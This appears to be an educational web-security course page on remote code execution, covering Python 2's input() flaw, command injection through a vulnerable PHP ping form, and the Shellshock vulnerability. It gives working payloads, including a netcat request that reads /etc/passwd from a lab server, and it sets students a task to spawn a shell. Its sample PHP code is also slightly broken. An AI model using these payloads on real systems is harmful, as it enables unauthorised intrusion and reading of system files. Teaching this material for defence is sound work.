What is Code and Command Execution
First we will examine the concept of Remote Code Execution (RCE)
RCE is a type of exploit where the attacker is able to execute commands on the target machine. For example raw user input is executed by a program on the system (for example the PHP interpreter).
Depending on the types of command that can be run, the severity of a RCE attack can be major, with the attacker able to gain remote access to the target server.
Note
It may also be known as Code / Command Injection. (For example by OWASP1)
Examples of Code Execution: Python
A Classic example of a code execution flaw was found in Python2's input
function2. This would take whatever the user supplied as data, evaluate it,
and return the result.
>>> out = input()
"Hello World"
>>> out
'Hello World'
It would also allow us to do useful things like calculations.
>>> out = input()
2 + 2
>>> out
4
However, the Major flaw here was the evaluation of the code. Behind the scenes python would execute whatever was input and display the result. This would allow us to run system commands, (or do other interesting things)
For example
>>> out = input()
__import__("os").system("whoami")
desktop-kjdvq2j\dang
>>>
Task
Can you use Input to create a shell?
- HINT: look for python one liners...
- HINT2: Pentest Monkey....
Note
To me, the Really scary thing about this input
flaw is how it gets used in many beginner tutorials.
(Without Any Real Warnings about it)
For example:
- https://www.geeksforgeeks.org/taking-input-from-console-in-python/
- https://www.askpython.com/python/examples/python-user-input
Additionally, the safe version raw_input
has been renamed to input
for python 3. While I appreciate Py2 is end of life, it is still heavily used.
Code Execution Example: PHP
We can see a similar problem in PHP. Dangerous functions include:
- include()
- eval()
- exec()
- system()
If we allow the user to supply unsanitised input to any of these commands, then it is possible that RCE could occur.
Lets imagine the developer is writing code that allows us to check connectivity to a remote server.
The Linux command we could use for this is:
ping <target> -c 4
PHP Code that allows the user to run this through a form could look like this
<form method="POST">
Target: <input name="target">
<button type="submit">GO</button>
</form>
<?php
$target = $_get[target];
system(ping $target -c 4);
?>
As there is no sanitisation on the input an attacker could abuse this function to execute commands. However, in this case we have a little bit of a speed bump in that we cannot just execute the command directly, as our input is part of an existing string. In this case we need to do a bit more work to get our command to run.
-
Step 1: Using just the command
If we just use
whoami
as the input we fail asping whoami -c 4
is not a valid command.We therefore need to find some way of ending the ping and starting a new command
-
Step 2: Using & to run multiple commands
In linux the & symbol can be used to run multiple commands. It tells the operating system to run the given command in the background.
If we change our input to be
bleh & whoami
The following happens- The
ping bleh
command starts, and trys to talk tobleh
(We use a non existent site to avoid issues with a permanent ping loop) - the
whoami -c 4
is executed (and fails as there is no option for -c in whoami)
- The
-
Step 3: Removing the arguments
We still need to remove the
-c 4
argument. Again we can use & to break up the commandbleh & whoami & -c 4
- As before The
ping bleh
command starts, and trys to talk tobleh
- the
whoami
is executed (and displays our user name) -c 4
is executed (and fails, as there is no such command)
Once we clean up the input enough to find the right way of running commands, it is simple enough to modify the payload to do something more useful (like drop a shell).
- As before The
Example: Shell Shock Vulnerability
Shell Shock CVE-2014-7169 was a flaw in the Bash shell, where attackers were able to execute code in a bash environment through environment variables. The CVE itself had a risk rating of 10/10 as the attack was easy to perform, and had significant consequences.
Note
One of the interesting things about shellshock is it was present from the very early days of Bash. Meaning it had been "in the wild" for about 25 years before getting discovered.
While Bash is not commonly used to produce web sites, it is very common on the web server itself, and applications may make use of bash or environment variables to perform tasks though CGI (Common Gateway Interface) scripts. CGI scripts are where the site will run a system command (for example to get the uptime of the server) and make the output available to the browser.
Exploiting Shellshock
To exploit shellshock[] we need a server that has some CGI functionality available.
Lets imagine we have a site that shows the system uptime via a CGI bin request.
The command that runs on the server could be something like
#!/bin/bash
echo "Content-Type: application/json"
echo ""
echo '{ "uptime": "`uptime`"}
Now while the command doesn't take any input we can still manipulate the environment variables to get the exploit to trigger.
Each time a request is made, the local environment variables are updated with the HTTP request headers, information like the user-agent, or cookies are stored, and used to process the request.
This means that the system is vulnerable because:
- Shellshock is based on the incorrect processing of environment variables
- The User agent is an environment variable
- We know we can control the user-agent string
So how does this work in practice.
- We add our own variable (for example user-agent) to the HTTP header and set its value to:
- A String to create a new function definition in bash
() { ;: }'
- The command to to run
echo \$(</etc/passwd)
- A String to create a new function definition in bash
This gives our final payload as something like
User-Agent: () { :;}; echo \$(</etc/passwd)
Which we can try out in Netcat to view all the users on the system.
dang@DESKTOP-KJDVQ2J:/mnt/c/Users/dang$ echo -e "HEAD /cgi-bin/status HTTP/1.0\r\nuser-agent: () { :; }; echo \$(</etc/passwd)\r\n\r\n" | nc 192.168.253.134 80
HTTP/1.1 200 OK
Date: Thu, 05 Nov 2020 13:14:13 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 175
Connection: close
Content-Type: application/json
Note
Yes its a crazy string, You do not need to remember it. But its pretty cool that it works.
Note
We will see an example of this in the Lab tasks
Summary
In this section we have given an overview of remote code execution and seen how it can occur in different languages.
Now we know how RCE can be used, we need to find a way of getting this kind of code execution to happen.
In the next section we will take a look at file include based attacks. Which are one way of getting malicious code to run.
-
Python 2 Input Function NOTE: I am really surprised this doesn't have a BIG RED WARNING attached to it. Troy Hunt on shellshock ↩